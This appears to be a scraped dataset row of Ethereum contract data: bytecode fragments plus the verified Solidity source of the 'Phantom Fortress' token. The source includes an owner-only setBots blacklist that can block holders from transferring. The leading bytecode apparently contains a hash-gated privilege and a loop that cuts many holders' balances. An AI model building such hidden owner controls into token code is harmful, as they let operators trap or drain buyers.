ffff16815260200190815260200160002060009054906101000a900460ff1615801561126e5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611280575061127e84611b69565b155b80156112b857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c2575080155b80156112db5750601060009054906101000a900460ff16155b156113155761130860646112fa600f5486611bbe90919063ffffffff16565b611c3990919063ffffffff16565b91506113148484611c83565b5b600082846113239190612295565b905082600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611374919061223f565b9250508190555083600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c69190612295565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611458919061223f565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114bc9190612011565b60405180910390a35050505b505050565b60006114d882611b69565b8061152c5750600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b801561156357508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61159830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dda565b81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156115f9576115f86123ed565b5b6040519080825280602002602001820160405280156116275781602001602082028036833780820191505090505b509050308160008151811061163f5761163e61241c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170a9190612460565b8160018151811061171e5761171d61241c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001601060006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426117c3919061223f565b6040518663ffffffff1660e01b81526004016117e3959493929190612590565b600060405180830381600087803b1580156117fd57600080fd5b505af1158015611811573d6000803e3d6000fd5b505050506000601060006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166118546119c6565b73ffffffffffffffffffffffffffffffffffffffff1614156119c35760005b6002805490508110156119b3576119186064600560006002858154811061189d5761189c61241c565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3990919063ffffffff16565b60056000600284815481106119305761192f61241c565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806119ab906125ea565b915050611873565b50600260006119c29190611dce565b5b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a599190612460565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ae2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b069190612460565b6040518363ffffffff1660e01b8152600401611b23929190612633565b602060405180830381865afa158015611b40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b649190612460565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b82604051602001611ba091906126a4565b60405160208183030381529060405280519060200120149050919050565b600080831415611bd15760009050611c33565b60008284611bdf91906126bf565b9050828482611bee9190612748565b14611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c25906127eb565b60405180910390fd5b809150505b92915050565b6000611c7b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d6b565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16611ca26119c6565b73ffffffffffffffffffffffffffffffffffffffff1614611d6757600260405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da99190611ed1565b60405180910390fd5b5060008385611dc19190612748565b9050809150509392505050565b5080546000825560020290600052602060002090810190611def9190611df2565b50565b5b80821115611e3457600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611df3565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e72578082015181840152602081019050611e57565b83811115611e81576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ea382611e38565b611ead8185611e43565b9350611ebd818560208601611e54565b611ec681611e87565b840191505092915050565b60006020820190508181036000830152611eeb8184611e98565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f2382611ef8565b9050919050565b611f3381611f18565b8114611f3e57600080fd5b50565b600081359050611f5081611f2a565b92915050565b6000819050919050565b611f6981611f56565b8114611f7457600080fd5b50565b600081359050611f8681611f60565b92915050565b60008060408385031215611fa357611fa2611ef3565b5b6000611fb185828601611f41565b9250506020611fc285828601611f77565b9150509250929050565b60008115159050919050565b611fe181611fcc565b82525050565b6000602082019050611ffc6000830184611fd8565b92915050565b61200b81611f56565b82525050565b60006020820190506120266000830184612002565b92915050565b60006020828403121561204257612041611ef3565b5b600061205084828501611f77565b91505092915050565b60008060006060848603121561207257612071611ef3565b5b600061208086828701611f41565b935050602061209186828701611f41565b92505060406120a286828701611f77565b9150509250925092565b6120b581611f18565b82525050565b60006020820190506120d060008301846120ac565b92915050565b6000602082840312156120ec576120eb611ef3565b5b60006120fa84828501611f41565b91505092915050565b6000806040838503121561211a57612119611ef3565b5b600061212885828601611f41565b925050602061213985828601611f41565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061218a57607f821691505b6020821081141561219e5761219d612143565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121da602083611e43565b91506121e5826121a4565b602082019050919050565b60006020820190508181036000830152612209816121cd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061224a82611f56565b915061225583611f56565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561228a57612289612210565b5b828201905092915050565b60006122a082611f56565b91506122ab83611f56565b9250828210156122be576122bd612210565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612325602583611e43565b9150612330826122c9565b604082019050919050565b6000602082019050818103600083015261235481612318565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123b7602383611e43565b91506123c28261235b565b604082019050919050565b600060208201905081810360008301526123e6816123aa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061245a81611f2a565b92915050565b60006020828403121561247657612475611ef3565b5b60006124848482850161244b565b91505092915050565b6000819050919050565b6000819050919050565b60006124bc6124b76124b28461248d565b612497565b611f56565b9050919050565b6124cc816124a1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61250781611f18565b82525050565b600061251983836124fe565b60208301905092915050565b6000602082019050919050565b600061253d826124d2565b61254781856124dd565b9350612552836124ee565b8060005b8381101561258357815161256a888261250d565b975061257583612525565b925050600181019050612556565b5085935050505092915050565b600060a0820190506125a56000830188612002565b6125b260208301876124c3565b81810360408301526125c48186612532565b90506125d360608301856120ac565b6125e06080830184612002565b9695505050505050565b60006125f582611f56565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561262857612627612210565b5b600182019050919050565b600060408201905061264860008301856120ac565b61265560208301846120ac565b9392505050565b60008160601b9050919050565b60006126748261265c565b9050919050565b600061268682612669565b9050919050565b61269e61269982611f18565b61267b565b82525050565b60006126b0828461268d565b60148201915081905092915050565b60006126ca82611f56565b91506126d583611f56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561270e5761270d612210565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061275382611f56565b915061275e83611f56565b92508261276e5761276d612719565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006127d5602183611e43565b91506127e082612779565b604082019050919050565b60006020820190508181036000830152612804816127c8565b905091905056fea26469706673582212204f7463d2281b44c28c34dcacb0dc6bb6b89a1743e79274c2b292b8e52c6ffde464736f6c634300080c0033 | {"success": true, "error": null, "results": {}} | 10,691 |
0x80f4f8390a1f390c3fdc6d42f5d2c132e06e0e1c | /**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
// SPDX-License-Identifier: Unlicensed
// m(~-~m)~ If you found this one consider yourself lucky. Phantom Fortress is the hidden stealth launch that will soon make its presence available
// https://phantomfortress.io
//: https://twitter.com/phantomfortress
//: https://t.me/phantomfortress
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract phantomfortress is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Phantom Fortress";
string public constant _symbol = "PHANTOM";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280601081526020017f5068616e746f6d20466f72747265737300000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff